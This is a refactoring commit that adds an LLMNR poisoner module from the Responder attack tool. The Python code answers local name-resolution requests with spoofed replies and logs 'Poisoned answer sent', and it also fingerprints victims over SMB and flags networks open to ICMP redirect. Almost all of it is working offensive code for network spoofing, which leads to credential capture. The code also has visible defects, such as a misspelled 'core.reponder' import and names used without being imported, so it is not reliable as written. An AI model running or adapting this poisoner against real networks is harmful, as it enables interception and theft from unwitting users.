first pass at refactoring:

directory structure has been simplified by grouping all the poisoners and servers in one folder
impacket smb server has been replaced with responder's
flask http server has beem replaced with responder's
modified config file to support new changes

core/poisoners/LLMNR.py

@@ -0,0 +1,94 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import socket
+import struct
+import core.responder.settings
+import core.responder.fingerprint
+
+from core.reponder.packets import LLMNR_Ans
+from core.responder.odict import OrderedDict
+from SocketServer import BaseRequestHandler
+from core.responder.utils import *
+
+
+def Parse_LLMNR_Name(data):
+	NameLen = struct.unpack('>B',data[12])[0]
+	Name = data[13:13+NameLen]
+	return Name
+
+def IsOnTheSameSubnet(ip, net):
+	net = net+'/24'
+	ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
+	netstr, bits = net.split('/')
+	netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
+	mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
+	return (ipaddr & mask) == (netaddr & mask)
+
+def IsICMPRedirectPlausible(IP):
+	dnsip = []
+	for line in file('/etc/resolv.conf', 'r'):
+		ip = line.split()
+		if len(ip) < 2:
+		   continue
+		if ip[0] == 'nameserver':
+			dnsip.extend(ip[1:])
+	for x in dnsip:
+		if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
+			print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
+			print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
+			print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
+		else:
+			pass
+
+if settings.Config.AnalyzeMode:
+	IsICMPRedirectPlausible(settings.Config.Bind_To)
+
+# LLMNR Server class
+class LLMNRServer(BaseRequestHandler):
+
+	def handle(self):
+		data, soc = self.request
+		Name = Parse_LLMNR_Name(data)
+
+		# Break out if we don't want to respond to this host
+		if RespondToThisHost(self.client_address[0], Name) is not True:
+			return None
+
+		if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
+
+			if settings.Config.Finger_On_Off:
+				Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
+			else:
+				Finger = None
+
+			# Analyze Mode
+			if settings.Config.AnalyzeMode:
+				LineHeader = "[Analyze mode: LLMNR]"
+				print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
+
+			# Poisoning Mode
+			else:
+				Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
+				Buffer.calculate()
+				soc.sendto(str(Buffer), self.client_address)
+				LineHeader = "[*] [LLMNR]"
+
+				print color("%s  Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
+
+			if Finger is not None:
+				print text("[FINGER] OS Version     : %s" % color(Finger[0], 3))
+				print text("[FINGER] Client Version : %s" % color(Finger[1], 3))